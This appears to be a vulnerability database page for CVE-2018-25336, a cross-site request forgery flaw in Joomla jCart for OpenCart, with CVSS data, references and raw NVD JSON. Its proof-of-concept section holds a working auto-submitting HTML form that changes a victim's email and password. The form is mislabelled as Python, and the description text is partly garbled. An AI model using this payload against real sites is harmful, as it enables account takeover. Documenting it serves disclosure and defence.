CVE-2018-25336

Description

Joomla jCart for OpenCart 2.3.0.2 contains a cross-site request forgery vulnerability that allows attackers to modify user account information without authentication. Attackers can craft malicious HTML forms targeting endpoints , and to change user credentials, passwords, and affiliate account details when victims visit the attacker-controlled page.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Joomla jCart for OpenCart 2.3.0.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<html> <body> <h1>Joomla jCart for OpenCart CSRF PoC</h1> <p>Page will auto-submit to change user details.</p>  <form action="http://target-site.com/index.php" method="POST"> <input type="hidden" name="option" value="com_jcart" /> <input type="hidden" name="task" value="save" />  <input type="hidden" name="email" value="[email protected]" /> <input type="hidden" name="password" value="newhackedpassword" /> <input type="hidden" name="affiliate_details" value="modified_info" /> <input type="submit" value="Submit Request" /> </form> <script> // Automatically submit the form when the page loads document.forms[0].submit(); </script> </body> </html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2018-25336
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2018-25336
[3] CVE Details https://www.cvedetails.com/cve/CVE-2018-25336/
[4] VulDB https://vuldb.com/cve/CVE-2018-25336
[5] https://extensions.joomla.org/extensions/extension/e-commerce/e-commerce-integrations/jcart-for-opencart/
[6] https://www.exploit-db.com/exploits/44788
[7] https://www.joomlaextensions.co.in/
[8] https://www.vulncheck.com/advisories/joomla-jcart-for-opencart-cross-site-request-forgery

Raw JSON Data

JSON

{"cve": {"id": "CVE-2018-25336", "sourceIdentifier": "[email protected]", "published": "2026-05-17T13:16:45.343", "lastModified": "2026-05-18T17:28:19.823", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Joomla jCart for OpenCart 2.3.0.2 contains a cross-site request forgery vulnerability that allows attackers to modify user account information without authentication. Attackers can craft malicious HTML forms targeting endpoints , and to change user credentials, passwords, and affiliate account details when victims visit the attacker-controlled page."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "LOW", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://extensions.joomla.org/extensions/extension/e-commerce/e-commerce-integrations/jcart-for-opencart/", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/44788", "source": "[email protected]"}, {"url": "https://www.joomlaextensions.co.in/", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/joomla-jcart-for-opencart-cross-site-request-forgery", "source": "[email protected]"}]}}